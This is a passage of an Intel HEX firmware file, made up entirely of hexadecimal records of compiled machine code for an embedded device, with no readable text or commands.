F7B0FD5D\n:1046C00041212000FFF72EFD10BD70B50D002B001D\n:1046D0005A1E934103215B4219400400FFF7A0FDDD\n:1046E0004721002D00D105392000FFF71BFD70BDCB\n:1046F00070B50D0004000121FFF792FD2A0043214F\n:104700002000FFF730FD70BD042110B54942FFF7CE\n:1047100087FD10BD10B504000021FFF781FD442185\n:104720002000FFF7FFFC10BD70B504000D00FFF77F\n:10473000F1FF20000E21EBF7F5F829002000FFF72C\n:1047400029FE20000221FFF76BFD20003E21FFF72C\n:10475000E9FC042120004942FFF762FD70BD10B55D\n:1047600004000021FFF75CFD45212000FFF7DAFC83\n:1047700010BD70B50C0000210500FFF751FD2100B0\n:1047800030392800C9B2FFF7CDFC70BD70B5050007\n:104790000C00222919D00026232901D10136033C1F\n:1047A000012128004942293CFFF73AFDE1B22800E7\n:1047B000FFF7B8FC002E07D000212800FFF730FDDE\n:1047C000D6212800FFF7AEFC70BD01261F24E7E7C5\n:1047D00070B50D0001210400491BFFF721FD2A00DF\n:1047E00050212000EAF79CFF70BD70B50D0001213B\n:1047F0000400491BFFF714FD2A0051212000EAF7AD\n:104800008FFF70BD70B50D0004000121FFF708FD9A\n:104810002A0053212000EAF783FF70BD022110B562\n:1048200004004942FFF7FCFC54212000FFF77AFC0A\n:1048300010BD70B50D0001210400491BFFF7F0FC0D\n:104840002A0056212000EAF76BFF70BD70B50D00FD\n:1048500001210400491BFFF7E3FC2A005821200036\n:10486000EAF75EFF70BDF8B50500170003290FD009\n:10487000042910D0002402262800E143FFF7D0FCD1\n:10488000E2199200324328005721EAF749FFF8BDA8\n:1048900000242600F0E70124FBE770B50D000400BA\n:1048A0000139FFF7BDFC2A0059212000EAF738FF43\n:1048B00070BD70B5140005000E008918FFF7B0FC3C\n:1048C0002202324328005A21EAF72AFF70BD70B550\n:1048D0001A430D0004000121002A07D1FFF7A0FCB4\n:1048E00060212A692000FFF72EFC70BD4942FFF7C6\n:1048F00097FC2A696121F5E770B50E000499040060\n:10490000D5B20B430DD10121891AFFF789FC622131\n:1049100032692000FFF717FC29002000FFF702FC96\n:1049200070BDD143FFF77CFC32696321F1E707B525\n:10493000019300920B0064220021FFF70DFD07BDDB\n:1049400013B50124019300920B0066226142FFF728\n:1049500003FD13BD012110B549420400FFF760FCBF\n:1049600001235B21A3712000FFF7DCFB10BD70B5B4\n:1049700005000C004942FFF753FC28000221FFF715\n:10498000C3FB5C234470037070BD10B504000021AC\n:10499000FFF746FC0423E2682000117D0B431375EA\n:1049A0005D21FFF7BFFB10BD012110B50400494296\n:1049B000FFF736FC0423E2682000117D0B431375DA\n:1049C0005E21FFF7AFFB10BD10B50421FFF728FCF7\n:1049D00010BD032110B54942FFF722FC10BD802312\n:1049E00007B55B051A6E082100925B6E684601935D\n:1049F000E4F790FA0EBD10B5EFF3108072B6FEF733\n:104A00003DF810BD042301225B1A9A400300411DAA\n:104A10001878104003D101338B42F9D1704701203F\n:104A2000FCE710B504210400FFF7ECFF03000420AD\n:104A3000002B06D103212000FFF7E4FF431E98411D\n:104A4000023010BD002210B50369027642690400ED\n:104A5000C36093420ED21878A37E2077002B02D039\n:104A60000523637605E0EAF7C3FFFFF7DAFF0130BD\n:104A7000607610BD202303771B3BF2E7030010B5DF\n:104A80000020012B02D14868E8F70EF910BD05237C\n:104A900053435918182903D100790007C00F7047F4\n:104AA0000722CB08C0184079114008410123184063\n:104AB000F5E783795A43511804224B08C018C0798E\n:104AC0008900114008410F231840704710B58479C0\n:104AD0006243511804228C002240F0241441934078\n:104AE00049084118C87904401C43CC7110BDF7B582\n:104AF00006000C001F000192BC420DDA019D089BCC\n:104B00009D4207DA2A00002321003000FFF7DEFF74\n:104B10000135F4E70134EFE7F7BD0B011943827962\n:104B20004379534301335B10C318984202D0C171DB\n:104B30000130FAE7704710B58379427900215A4372\n:104B400001325210073004F042FD10BD10B5037958\n:104B5000DB0705D5FFF79BFF09235843C0B210BD03\n:104B6000FFF7A7FFFBE702790523D20700D483797B\n:104B70001800704710B5FFF7F6FF430001201843F7\n:104B800010BD02790523D20700D44379180070477D\n:104B9000F0B593B0039118990593CB430492199AF9\n:104BA000DB171940D343DB171A401A9B0D905E4266\n:104BB000049B079109929E4200DA1E00F343DB1723\n:104BC0001E401B9B059A5B420293934200DA0292BD\n:104BD000029B029ADB43DB171A40039B02929B79EC\n:104BE000049A08939D181A9B0D98ED1AFFF7BBFFC6\n:104BF000049B079A9C18AC4200DD2C00069484426A\n:104C000000DD0690039B0D985C79059BE7181B9BC4\n:104C1000FF1AFFF7B6FF059B099A9D18BD4200DDFC\n:104C20003D002F00854200DD07001A9B1A9ADB43E6\n:104C3000DB171A401B9B0A92DB431B9ADB171A40B7\n:104C40000B921A9A079B9446089A634407939342DF\n:104C500000DD07921B9A099B944663440893A34284\n:104C600000DD0894069B9E4202DA029BBB4209DBF0\n:104C7000089B0B9A00930A99079B0398FFF737FF4D\n:104C800013B0F0BD049B1A9A93422FDC069B5C1E66\n:104C9000731E0E9301235B4209931B9A059B93425B\n:104CA00029DC7B1E0F93029B013B109301235B4287\n:104CB00011931A9BE518049BEB1A0C930E9BA342CD\n:104CC00025D00F9D109BAB421AD02A0021000D98D1\n:104CD000FFF73CFF05991B9A0300521A52190C99D1\n:104CE0000398FFF7F3FE119BED18EBE7069B3400EA\n:104CF0000E930123D0E7029B10970F930123D7E770\n:104D0000099A099B9446E4180C9B6344D5E71A9BC7\n:104D1000049A0A999C1A1B9B059AA6199D1A029B34\n:104D20000B9AEB180293069BED19E41803983300D5\n:104D30000095FFF7DCFE089B2A0000930A992300E8\n:104D40000398FFF7D4FE089B029A00932100079B6B\n:104D50000398FFF7CCFE029B0B9A00933100079B50\n:104D60008BE7F0B50B6887B048680D000493E7F750\n:104D700029FE0590A868E7F725FE0700E868E7F731\n:104D800021FE04002869E7F71DFEE343C543DB1756\n:104D9000ED171C40054029002000EAF743FE0023E0\n:104DA00006000393029301000195049800943B00D0\n:104DB000059AFFF7EDFE300007B0F0BD10B5FFF724\n:104DC000E0FE43000120184310BDF7B50600FFF7D1\n:104DD000CAFE00903000FFF7D4FE010007000098E3\n:104DE000EAF720FE00240190BC4212DA0025009B65\n:104DF0009D420CDA290022003000FFF7A7FE2900AF\n:104E0000030022000198FFF761FE0135EFE701344E\n:104E1000EAE70198FEBD10B5FFF7D7FF10BDF7B563\n:104E20000600FFF7A0FE00903000FFF7AAFE0190F9\n:104E300001000098EAF7F6FD00240700019B9C4260\n:104E400013DA0025009B9D420DDA29002200300074\n:104E5000FFF77CFE092329001B1A22003800FFF708\n:104E600035FE0135EEE70134E8E73800FEBD10B548\n:104E7000FFF7D5FF10BDF0B585B0170004000E0098\n:104E8000FFF771FE0100EAF7CDFD05002000FFF7F6\n:104E90006AFE002301900393029300903B002000E0\n:104EA00032002900FFF774FE280005B0F0BD10B5F0\n:104EB00004000800E7F786FD002201002000FFF74C\n:104EC000DAFF10BD10B504000800E7F77BFD0022F3\n:104ED00041422000FFF7CFFF10BD10B504000800CD\n:104EE000E7F770FD002102002000FFF7C4FF10BDAE\n:104EF00010B504000800E7F765FD002142422000DC\n:104F0000FFF7B9FF10BDF7B507000800EAF770FD1D\n:104F100004240600042300251B1B0193735D01225A\n:104F2000234113400832534301992A0038000135C8\n:104F3000FFF7CCFD052DF1D1013CEBD2F7BD13B548\n:104F4000040001A94068E4F721FCA268019900234C\n:104F50008A4207D2815CE068FFF7D5FFA36801337E\n:104F6000A360E368180016BDF7B504000F00002524\n:104F7000042A0FD101A94068E4F708FC2B000600C1\n:104F80003A0001992068E7F7F7FD315CA068FFF768\n:104F9000BAFFA5682800FEBD052170B50500080010\n:104FA000EAF740FD04002900FFF7ADFF200070BDC7\n:104FB00010B50122EBF746F910BD10B50222EBF750\n:104FC00041F910BD10B50022EBF73CF910BD02000D\n:104FD00030B50B688568AB4201D3002009E0D46886\n:104FE000D800201804680133002CF4D0042CF2D02F\n:104FF0000B6030BD010010B50C318068FFF7E7FF92\n:10500000002800D0006810BD1FB5010004000C315D\n:105010008068FFF7DCFF00280DD02379012B0CD02E\n:10502000022B0CD0036802A902934368022001936B\n:105030000393EDF75FFD04B010BD0068FBE7406827\n:10504000F9E710B50C7A0023012C05D11F2803D1F4\n:105050004968EBF7EDF90300180010BD70B50500C5\n:105060001020FCF7A0FF04002900EBF7C5FA200090\n:1050700070BD70B505008068FFF7F0FF2B684168D0\n:1050800003606B680400DA0807230B400121D2009B\n:10509000134343602A79D207D30F02798A431A4314\n:1050A00002239A4302712B79D2B29B080B40033141\n:1050B0008A439B0013430371AB68E968DA00C06858\n:1050C00004F069FA200070BD4068C008704770B5F0\n:1050D0001500040001220430F1F76AFB456020004E\n:1050E00070BD022213B504000090019110006946C2\n:1050F000EBF7A8F8200016BD0430704710B5EDF7A7\n:105100000BFF03680620DB00184310BD10B5DCF769\n:1051100095FBFDF7B3FC10BD10B5EBF729FC40790A\n:1051200010BD4A43F8B507001E0014000025B54223\n:1051300000D1F8BD22003900069804F02CFA069B35\n:1051400001351B190693F2E7F7B50F0000215368EC\n:105150000800146801939668FEF76AFB0500002EAC\n:1051600011DA019B9C4201DA2800FEBDA300F95828\n:105170002800E6F7ABFAA419F3E7A300F9582800D2\n:10518000E6F7A4FAA419019B9C42F6DBECE770B5A4\n:10519000049E040015001B2813D10022B5420ED135\n:1051A0001A000B0011003200AE4200D92A0018008C\n:1051B00004F0E3F91B2C10D144426041C2B210004C\n:1051C00070BD192805D01C2805D032002E0015000E\n:1051D000E6E71A24E7E71D24E5E700229042EEDB2C\n:1051E00001320028EBD1AE4202D0AE424041E5E7A9\n:1051F0001A3C601E8441E2B2E1E7F8B517000400F2\n:10520000002589004618B44203D101206D002843CF\n:10521000F8BD390001CCE7F783FB431E98412D18F8\n:10522000F1E7C26810B50300002A05DD4168806817\n:10523000814208DB002010BD101EFCD059689C681C\n:105240000020A142F7DD012059684C00521820438C\n:105250005A60F0E783684268C1689B1A5B1810B512\n:10526000581C002900DD581EF5F7A0FBC343DB17CF\n:10527000184010BD10B501242300884202D00278E6\n:10528000534253412340180010BD037842780A3B33\n:105290001B02134302300B607047838BC26A0133D9\n:1052A0009BB28383118C994200D21384704770B5EE\n:1052B00005000C00100019002A68049BDFF7DCFCD5\n:1052C000EB6AA4004360AB6AE05070BD13B5040004\n:1052D000080001A9FFF7D9FF0199206BFFF702F938\n:1052E00013BDF0B587B005000C0004920593002BA8\n:1052F00003D008230A7D13430B75049B6383EB6A79\n:105300001B78002B39D1059B049A2100286BFFF7ED\n:10531000DEFA07B0F0BD926AF300D31803931B784E\n:10532000033B012B19D8002312E0029BA26ADB0089\n:10533000D3181A78042A09D1039A5B6851689942F4\n:1053400004D15288286BFEF779FF0137029B0133A5\n:105350000293029AA38C9342E7DC0136EA6A938CAB\n:10536000B342D8DC002FCED0059B3A000093210039\n:10537000049B286BFFF7C0FACBE700263700EDE768\n:1053800073B51D000B781A320600080093420ED147\n:1053900001A9FDF7B6FA019B0400984200D173BD44\n:1053A00030002100A8472000FDF7A1FAF3E7002B09\n:1053B000F5D03000A847F2E730B5040085B008000A\n:1053C00003A9FDF759FA63790500012B08D1E36AB7\n:1053D00002225B7D0399009303002000FFF767FF23\n:1053E000039BA06A9900095848232A002000EBF784\n:1053F000ADFC05B030BD7FB50400080003A9160060\n:10540000FDF73AFA63790500012B06D103000096F7\n:10541000072203992000FFF74AFF2800FDF767FAEB\n:10542000039BA16A9B005D580200402320002900D5\n:10543000EBF78CFCE88904B070BD70B5040008007F\n:105440000D00FDF754FA01002000EBF7BBFC29002A\n:105450002000EBF7B7FC70BD10B50400EBF7B2FC11\n:10546000206BFFF767F810BD10B50400EBF7AAFC3E\n:10547000206BFFF796F810BD70B505001400A1422F\n:1054800000D170BD2800EBF79DFC0100F7E710B5D7\n:105490000400FFF7F1FF0B21206BFFF777F910BD38\n:1054A000F0B5040085B008000F001500FDF71FFAE5\n:1054B000FDF722FA03A9FDF7DFF963790600012B56\n:1054C00008D1E36A2A005B7D0399009320003B002A\n:1054D000FFF7EDFE039BA06A9900002309581A000C\n:1054E0002000FFF7FEFE3000FDF701FA010020006A\n:1054F000EBF768FC062D03D10021206BFFF7E5F8E0\n:10550000002301211A00206BFFF711FA05B0F0BD4E\n:1055100070B504000D001600914205D10E21006BFC\n:10552000EAF700FA022113E00B78AE2B14D1006BDE\n:105530000E21EAF7F7F92800FDF71EFA0028F1D14D\n:105540002800FDF7D9F901002000EBF73BFC03210F\n:10555000206BFFF77BF970BDAF2B0CD10800FDF776\n:10556000CBF901002000EBF72DFCFDF7C5F9010098\n:105570008642E9D1D6E7EBF725FCD3E770B50D00FD\n:10558000160004000E21006BEAF7CCF93200290066\n:105590002000FFF7BDFF70BD70B515000400EBF7EC\n:1055A00011FCFDF7A9F92A0001002000FFF7B0FF68\n:1055B00070BDF8B50024050016001F00A14202D0FE\n:1055C000EBF700FC0134BE4204D1286B2100FFF749\n:1055D000FFF8F8BD31002800EBF7F4FB0600F1E717\n:1055E00010B513000A000021FFF7E3FF10BDF8B566\n:1055F000050016001F00EBF7E5FB0400B44200D1E4\n:10560000F8BD21002800EBF7DDFB39000400286B12\n:10561000FFF7BCF8F2E710B50223FFF7E8FF10BD73\n:1056200010B50123FFF7E3FF10BD10B50023FFF70E\n:10563000DEFF10BD10B50400EBF7C4FB0621206BA4\n:10564000FFF797F810BDF7B504000D0017000669C5\n:105650000193731C0361BD4204D13100206BFEF73E\n:1056600099FEF7BD29002000EBF7ACFB050087424F\n:10567000F1D032000199206BFEF7E7FFEBE710B5A0\n:105680000023FFF7E0FF10BD10B50123FFF7DBFF9C\n:1056900010BDF7B50D00040011002800FDF71BF93F\n:1056A000290007002000EBF78DFB00230600019383\n:1056B000032F03DD23690193013323610123009349\n:1056C000009B01339F421BDC032F18DD2569206BF3\n:1056D0006B1C23612900FEF79BFF0199206BFEF7ED\n:1056E00059FE0121206BFEF79BFD206BFEF764FF46\n:1056F000206BFEF756FF2900206BFEF74BFEF7BD2F\n:105700003378012B33D17078B11C36380B282CD864\n:10571000F5F7AEF83C2B062B2B2B2B2B252723291B\n:105720001A252000EBF74EFB009B06000233009386\n:10573000BB4205DA206BFEF720FF206BFEF753FF1C\n:105740002900206BFFF722F8009BBB42B8DA019AD0\n:105750000021206BFEF779FFB2E71B25E1E71C254E\n:10576000DFE71D25DDE71E25DBE71F25D9E722251D\n:10577000992B06D03000FDF7FFF8023D002800D13C\n:1057800003353000FDF7B3F80100CAE71925C8E773\n:1057900010B5C36A04005A7DFFF72DFE01002000FA\n:1057A000EBF7B2FB10BD37B50400080001A9256B6B\n:1057B000FDF758F8019B226A9B0028009958FEF7D4\n:1057C00072FE37BD1FB5040023680800002B0BD103\n:1057D000002909D00B78192B06D903AB02AA01A91D\n:1057E000FDF7B6F8029B23601FBDF7B504000D005E\n:1057F0001700914203D31100EBF7E4FAF7BD0669F5\n:10580000731C03610B78902B27D10800FDF774F807\n:1058100001002000EBF7D6FA31000190206BFEF773\n:1058200025FF002201992000EBF786FD2800FDF7F7\n:105830005EF805002000FFF730FD3A002900200047\n:10584000FFF7D3FF206B3100FEF76EFFA38B206BB9\n:10585000013BA383FEF72EFFD0E7EBF7B3FA31004D\n:105860000500206BFEF702FF206BFEF79AFEE1E7D2\n:1058700013B50400019101A87521FDF751F80199B4\n:1058800002002000FFF7B1FF13BD7FB50400080040\n:1058900003A91500FCF7F0FF62790600012A05D183\n:1058A0000300009503992000FFF701FD206BFEF730\n:1058B00037FE039BA26A9B009D58002329001A0013\n:1058C0002000FFF70EFDE989206BFEF7E0FD3000B8\n:1058D000FDF70DF803780100B82B00D1002120005E\n:1058E00002230022ECF702F8E88904B070BD10B57D\n:1058F000C36A04005A7DFFF7C8FF01002000EBF7E0\n:1059000003FB10BD91429241002310B511401A00D3\n:10591000EBF7ECFF10BDF0B50400056985B003930B\n:105920006B1C03610E00006B29001700FEF7B6FE2A\n:105930002000FFF7B2FC002F26D10321206BFEF7D9\n:105940006FFC31002000EBF73DFA0321206B494248\n:10595000FEF766FC206BFEF7DDFE206B0E21E9F7FB\n:10596000E1FF2900206BFEF715FD0B98FCF7C4FF43\n:1059700001002000EBF726FAA38B206B013BA383E9\n:10598000FEF798FE05B0F0BD0A9B3A000093310087\n:10599000039B2000ECF758F9DCE7F0B5060087B070\n:1059A00008000D00FCF7A3FF03900378FD221C0004\n:1059B000763414400CD1722103A8FCF7B1FF030028\n:1059C000039A009429003000ECF73EF907B0F0BDCF\n:1059D000892B1ED104A9FCF794FF7221059005A81C\n:1059E000FCF79EFF0400FCF782FF049B984203D162\n:1059F00000942300059AE5E7059F2000FCF777FF58\n:105A000023003A000190009429003000FFF783FF43\n:105A1000DCE70022019000921300F5E710B54B235C\n:105A20004A22ECF717FB10BD10B543234222ECF7D6\n:105A300011FB10BDF8B50D00040011002800160080\n:105A4000FFF718FC0021002835D12B78A62B34D184\n:105A50002800FCF751FF0500FCF749FF027813000E\n:105A60005733DBB2012B15D8FCF746FF070029009E\n:105A70002000EBF7A7F9200032003900FFF7FCFC0B\n:105A800031003800246BFCF726FF411C2000FEF794\n:105A9000ACFE06E0C12A05D1BE3A29002000FFF77E\n:105AA000FFFCF8BD29002000EBF78CF90100200075\n:105AB000EBF788F90221206BE9E729002000EBF7DA\n:105AC00081F90121F7E7F8B50D0004001100280065\n:105AD0001600FFF7CFFB071E06D000231A0019009F\n:105AE0002000FFF766FD18E02800FCF705FF050021\n:105AF000FCF7FDFE027813005733DBB2012B05D80B\n:105B0000FCF7FAFE330002002900E9E7C12A05D1BB\n:105B1000BB3A29002000FFF7C3FCF8BD33002A0080\n:105B20003900DDE770B54D7802310400EBF74AF932\n:105B30002F2D04D10321206BFEF71BFE70BD206BBF\n:105B40000421302DF8D00521F6E770B50D000400D2\n:105B500011002800FFF78EFB002100280ED12B78C2\n:105B6000742B0FD12800FCF7C7FE01002000EBF7D3\n:105B700029F901002000EBF725F90221206BFEF73F\n:105B8000F6FE70BD29002000EBF71CF90121F5E7B6\n:105B9000F0B5060087B00D001400002906D10121E0\n:105BA00021603068FEF706FC07B0F0BD00220B78DC\n:105BB00001927E2B0CD10800FCF79EFE0500FCF73D\n:105BC00096FE2100FFF761FB002DE8D00123019331\n:105BD0002B78002BE3D00A3B0F2B0AD805A928000D\n:105BE000FFF753FB019B002B01D1059B2360059917\n:105BF000D7E7280002A9FCF784FE019B0500002BD3\n:105C000002D12100FFF741FB01242F006442029BD7\n:105C10009F4223D1200003A901F0C0FC2F00040003\n:105C2000029B9F4225D1039801F0C3FC010030681C\n:105C3000FEF7C0FB019B002BB6D02800FCF757FEF7\n:105C40000400029B9C42AFD005A92000FFF71DFB7A\n:105C5000059904003068FEF745FCF2E705A9380015\n:105C6000FFF713FB0700059801F0C3FC013424186B\n:105C7000CDE7BD4202D22E232370013404A938009F\n:105C8000FFF703FB05A90700049801F0BCFC059A87\n:105C90000100200003F07FFC059BE418C0E737B546\n:105CA00004000D00006B0021FEF7A8FB206B0E2105\n:105CB000E9F738FE2000290001AA3030FFF768FF1D\n:105CC00001992000EBF720F937BD10B50278012AC1\n:105CD00005D143780F3B58424341180010BD0023C3\n:105CE000032AFAD1FCF7D7FD0300581E8341F4E7DD\n:105CF00010B50278012A05D143780D3B5842434143\n:105D0000180010BD0023032AFAD1FCF7C4FD43425A\n:105D10004341F5E7F0B5040085B008000E0015001A\n:105D20000093FFF7E5FF002809D0002D03D100996B\n:105D3000206BFEF76DFC3000FCF7D9FD4FE0300022\n:105D4000FFF7C3FF002802D0002DF4D0EFE733782F\n:105D5000192B4ED903A93000FCF7D3FD3378070087\n:105D6000362B2ED1002D28D1012623690193013332\n:105D700023613800FCF7BBFD039B98420DD139002D\n:105D8000009B2A002000FFF7C5FF01990600206B49\n:105D9000FEF700FB300005B0F0BD32003900019B7A\n:105DA0006A402000FFF7B6FF0700E2E73900009BDA\n:105DB0002A002000FFF7AEFF0700039EB742F5D18F\n:105DC000E8E7372B02D1002DCED1F6E7382B08D1EA\n:105DD000012201006A40009B2000FFF79BFF0600A4\n:105DE000D8E7442B05D13000FCF7C6FD0028ABD026\n:105DF0009BE731002000EAF7E5FF009A0600290042\n:105E0000206BFEF711FCC5E7F0B504000F00066932\n:105E100087B00293B31C03613100006B751C0392C1\n:105E2000FEF7B8FA2900206BFEF762FC0022390069\n:105E30002000EBF781FA3800FCF759FDFCF757FD1D\n:105E4000039B834221D102992000EAF7BBFFE36A5A\n:105E50001978062912D1206BFEF797FD206BFEF70B\n:105E6000A0FB3100206BFEF7D3FB2900206BFEF76F\n:105E700091FA206BFEF748FC07B0F0BD0C9B206B3D\n:105E80009A000532FEF7EFFCEBE70378C22B09D14D\n:105E900003A9FCF736FD3300010000222000FFF7C4\n:105EA00039FFCDE705A9FCF72CFDFCF720FD070025\n:105EB000FCF71DFD01002000EAF784FF206B0121A3\n:105EC000FEF703FC0C9B059A013300933900029BFB\n:105ED0002000FFF799FFC4E7F7B5040008000F00A2\n:105EE000FCF705FDFCF708FD25690022AB1C01004D\n:105EF000236120002B00FFF70DFF6E1C390001907D\n:105F00002000EAF75FFF3100206BFEF781FB2900DC\n:105F1000206BFEF73FFA0121206B4942FEF780F922\n:105F200001992000EAF74EFF3100206BFEF732FAAC\n:105F3000F7BDF0B5836987B0059204930569C38BFB\n:105F40006F1C0393AB1C0361838B0583C38347835F\n:105F5000040008000E00FCF7CAFC0190FCF7C7FC27\n:105F600002903000FFF7C4FE00281ED123693000E4\n:105F7000009301332361FFF7A8FE002803D1390005\n:105F8000206BFEF745FB0099206BFEF703FA0199A1\n:105F90002000EAF717FF3900206BFEF7FBF9009BA2\n:105FA000012231002000FFF7B5FE049B059AA36192\n:105FB000039BE383029B934203D019002000EAF77E\n:105FC00001FF2900206BFEF7E5F907B0F0BDF0B541\n:105FD0000400256985B06B1C0800236103910092C1\n:105FE000FFF786FE071E1FD00398FCF780FC039086\n:105FF000FCF77DFC0390039B009A93420ED06C212A\n:1060000003A8FCF78DFC07000398B8423FD1009B22\n:10601000BB4203D039002000EAF7D4FE2900206BF0\n:10602000FEF7B8F905B0F0BD26690398731C23612B\n:10603000FFF74BFE33003A00019003992000FFF771\n:1060400069FE010003902000EAF7BCFE019B0700F7\n:106050000390002BE2D10099FFF70CF9002809D139\n:10606000206BFEF7D8F800280CD12900206BFEF732\n:10607000CFFA07E03800FCF73AFC0099FFF7FAF88E\n:106080000028EDD03100206BFEF784F9B3E7FCF770\n:1060900033FC0390FFF72CFE0190002807D00398F3\n:1060A000FCF725FC0390FCF722FC0390ACE7266983\n:1060B0000398731C2361FFF708FE33000290019AD6\n:1060C00003992000FFF726FE010003902000EAF765\n:1060D00079FE029B0390002BA0D1206BFEF79BF86A\n:1060E000002803D12900206BFEF792FA3100206BC3\n:1060F000FEF750F988E7F0B589B003910B780400FA\n:106100000D00012B01D07B2B38D107950025612193\n:1061100007A8FCF705FC002607000798B84238D10D\n:106120000398FCF7E4FB2200039007783032030069\n:1061300001923100012F03D15B78206B312B35D0D8\n:10614000206BFEF75BF9662103A8FCF7E9FB00274B\n:10615000039E0290029B9E423CD33900206BFEF7C7\n:1061600037FB290004AA0198FFF712FD039D029B4B\n:106170009D423FD3206BFEF714FA29E00026782BCE\n:10618000CED10800FCF7B8FB0790FCF7B0FB050088\n:10619000BDE70378012B07D143784A2B04D10136A0\n:1061A000FCF7A5FB0790B8E70336F9E7FEF726F9F9\n:1061B0000221206BFEF76BF93900206BFEF708FB1C\n:1061C000019807AA2900FFF7E3FC206BFEF70BF903\n:1061D00009B0F0BD3000FCF78FFB07A9FFF755F8B9\n:1061E0000799206BFEF753F93000FCF780FB01376D\n:1061F0000600AFE705A92800FCF783FB06A9FFF717\n:1062000044F806990500206BFEF7E1F8059B069916\n:10621000AB4205D007A92800FFF737F8050007991A\n:106220002000EAF771FEA2E773B56B46DE1D32006F\n:106230000D000400FCF731F933780100002B03D086\n:106240002A002000FCF754F973BD37B56B460400F3\n:10625000DD1D2A00FCF721F92A782378002A06D0D0\n:10626000012B02D90223037037BD0023FBE7012B6A\n:10627000FAD90378002BF7D10233F4E770B50500A3\n:106280000E00100019001C00FCF7F7F80378002B33\n:1062900004D1B36821002800984770BD012B01D1BB\n:1062A000F368F7E74288022B04D133682100280005\n:1062B0009847F2E77368F9E710B58468C3686168C6\n:1062C000020000208B4204D2991C89000133085936\n:1062D000D36010BD10B50C68020020000B00083020\n:1062E0006168EAF71FFC10BD030010B50A00083012\n:1062F0005968FEF782FF10BD436808300B601060DC\n:10630000704710B5FBF77EFE10BD046045608660E7\n:10631000C760414601614946416151468161594624\n:10632000C161614601626946416268467047020088\n:106330000020012A03D1CB885B001A43100070476C\n:10634000704710B54079DBF707FB10BD0239814279\n:1063500002D30B88002BF9D00231081A4010704785\n:1063600070B51D090024954217D26C000919541B01\n:106370000F22250013400E883200012D02D04A88DA\n:1063800012043243DA40013D92B2028002310230FF\n:10639000002DF0D153425A41A41A200070BDF7B528\n:1063A000019108990600521A94460D000024019F9D\n:1063B000002D13D1089B6546590042181600019B19\n:1063C0005918002D15D163465B00D218002C02D05D\n:1063D000012313800232101A4010FEBD3A8819883A\n:1063E000013D5218141934800237240C023602334E\n:1063F000DEE70B88013D1C1934800231240C023683\n:10640000DFE7F7B5089D0F00521B019206002A0036\n:1064100000240093002A0CD16D0043191E00491975\n:10642000019D002D14D1019A51005918FFF78EFFDC\n:10643000FEBD3B88013A9C46009B64441B880237A2\n:10644000E41A009B34800233241402360093E1E7FF\n:106450000A88013D14193480023124140236E0E721\n:1064600070B505000C00022900D20224A86800289B\n:1064700003D02B689B08A34209D26100FBF7B1FD52\n:1064800003232A68A40013401C43A8602C6070BD3D\n:1064900070B505000C20FBF786FD01212B78040068\n:1064A000DB07DA0F03788B43134302229343037015\n:1064B0002B6821689808032382000B401343236054\n:1064C0006B686360AB68002B02D1A360200070BDD5\n:1064D0004000FBF768FDA0602B68A9689A0852008D\n:1064E00003F059F8F2E74B00C018D218022330B578\n:1064F0005B42002901D1080030BDC45AD55A641B43\n:1065000004D4023B002C04D10139F2E701204042BF\n:10651000F2E70120F0E710B5041E05D08068FBF714\n:1065200071FD2000FBF76EFD10BD70B50D0002215E\n:106530000400FFF795FF01200022002D01DA020080\n:106540006D42237883431343237000236360002D3F\n:1065500000D170BD63685A1C6260A2685B009D52E6\n:106560002D0CF4E70023036043608360704710B58F\n:10657000002805D003789B0702D48068FBF742FD12\n:1065800010BD70B50C0005004968FFF769FF0121D7\n:106590002378A868DB07DA0F2B788B4313432B7023\n:1065A0006368A1686B6063685A0002F0F4FF70BD15\n:1065B00010B5002901D1416010BDFFF7B6FFFBE720\n:1065C00070B50D000400FFF7CDFF29002000FFF794\n:1065D000EFFF70BD70B503259400026881602A400A\n:1065E000224302240260D2B2AA4322430270002254\n:1065F00019004260FFF7DCFF70BDF8B51F0006AB65\n:106600001D78042104001600FFF72AFF002D04D096\n:1066100000237242BB41002F02DB32003B00002509\n:10662000012029002578014085430D430021257074\n:1066300061601100194300D1F8BD61681D04481C58\n:106640006060A06849000A52100C190C05432A002A\n:106650000B00EEE7F7B50E1C01210378F20F8B4318\n:106660001343FF220370D201330C0700134002D101\n:1066700000237B60F7BD9342FAD07F237400240E81\n:106680005B42E518F4D4002D02D1FFF74EFFF1E78D\n:1066900021000F236F39CA171A4052188021760241\n:1066A0001211760A090401920E43162D24DC0833D8\n:1066B0005D1BEE4000252C0001993800FFF7D0FE4D\n:1066C000019B7B60002C04D062000021B86802F0BE\n:1066D0007EFF002D08D03200AA40B96863005A52EC\n:1066E00010235D1BEE400134019BA342C2D0BA6867\n:1066F00063009E52360CF6E71D40963CE217173DAC\n:106700001D4013401C192411D6E7F0B51E000D00E2\n:106710008B18D1000400090985B001310293FFF7FD\n:106720009FFE012233002678134096431E43002328\n:10673000280063600A9B26709BB20393029B9842D9\n:1067400002D3401B05B0F0BD03781A00303A092A85\n:1067500004D9113A192A18D8373B1A000A9B9A42D1\n:10676000EFD26368A7689C463E0001936346002B06\n:1067700011D1019B5B00FB18002A01D01A80023363\n:10678000DF1B7F1067600130D8E71A00613A192AD1\n:10679000D7D8573BE1E73188039B594301238A1837\n:1067A0005B4232809C44120C0236DFE7F8B50400ED\n:1067B00015001E000127002902D0531EF618023FC3\n:1067C000E9000F3109092000FFF74AFE0122237872\n:1067D0009343237000236360002D08D16368590040\n:1067E000A36859181800FFF7B1FD6060F8BD0020DC\n:1067F0000F2B08DC3278013D9A40104380B20833F9\n:10680000F619002DF4D16168103B4A1C6260A26841\n:1068100049008852E0E70A00416870B50500002988\n:1068200002D15068002814D013782C78DB07E007D9\n:10683000DB0FC00F181A0CD1536899420AD30130EC\n:10684000994203D89268A868FFF74DFEE30700D588\n:10685000404270BD01204042F8E710B50400884274\n:1068600001D0FFF78EFE012223789343237010BDE1\n:1068700010B50400884201D0FFF783FE0121227881\n:10688000D307DB0FCB1A0B408A431343237010BD91\n:106890007FB50400884201D0FFF773FE6268002ACA\n:1068A0000BD101212000FFF7DBFD0123A26813803B\n:1068B00022786360134323707FBD0E260125237861\n:1068C0006E442B420AD0A168AB432370358033005D\n:1068D00000950800FFF795FD6060EDE7511C200072\n:1068E000FFF7BEFDA168358033000095626808009F\n:1068F000FFF755FD237860601D432570DCE7F0B598\n:106900000D00496887B004001600002901D0002A54\n:1069100005D129002000FFF734FE07B0F0BDFFF7D6\n:106920009FFD3300A9686A68A068FFF719FD6060E1\n:10693000029001202B78DB07D90F237883430B4388\n:1069400023700342E9D00E23002102AA9B186A6833\n:10695000300919800392039A8A4201D081420FD1F3\n:10696000039A8242D9D9A9684000405A01250F21D3\n:106970000E402900B1400139014217D01D800BE0C3\n:106980004A0094466746AA